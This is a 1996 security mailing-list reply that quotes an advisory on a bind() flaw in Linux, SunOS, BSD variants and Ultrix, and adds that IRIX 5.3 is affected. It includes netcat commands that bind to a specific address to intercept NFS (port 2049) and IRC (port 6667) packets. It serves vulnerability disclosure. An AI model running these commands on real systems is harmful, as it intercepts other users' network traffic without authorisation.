Re: BoS: bind() Security Problems

Bernd Lehle (Bernd.Lehle@RUS.Uni-Stuttgart.DE)
Wed, 31 Jan 1996 13:18:29 +0100

>
>
>               System Call: bind()
>   Affected Operating System: Linux, SunOS, FreeBSD, BSDI, Ultrix
>                            Probably others.
>               Requirement: account on system.
>       Security Compromise: Stealing packets from
>                            nfsd, yppasswd, ircd, etc.
>                   Credits: *Hobbit* <hobbit@avian.org>
>                            bitblt <bitblt@infosoc.com>
>                            Aleph One <aleph1@underground.org>
>                  Synopsis: bind() does not properly check
>                            to make sure there is not a socket
>                            already bound to INADDR_ANY on the same
>                            port when binding to a specific address.
>

IRIX 5.3 is vulnerable, too.

> Exploit:
[..]
> Run netcat:
>
> w00p% nc -v -v -u -s 192.88.209.5 -p 2049
> listening on [192.88.209.5] 2049 ...

To take a look at irc packets: nc -v -v -l -s Your.IP.Adress -p 6667

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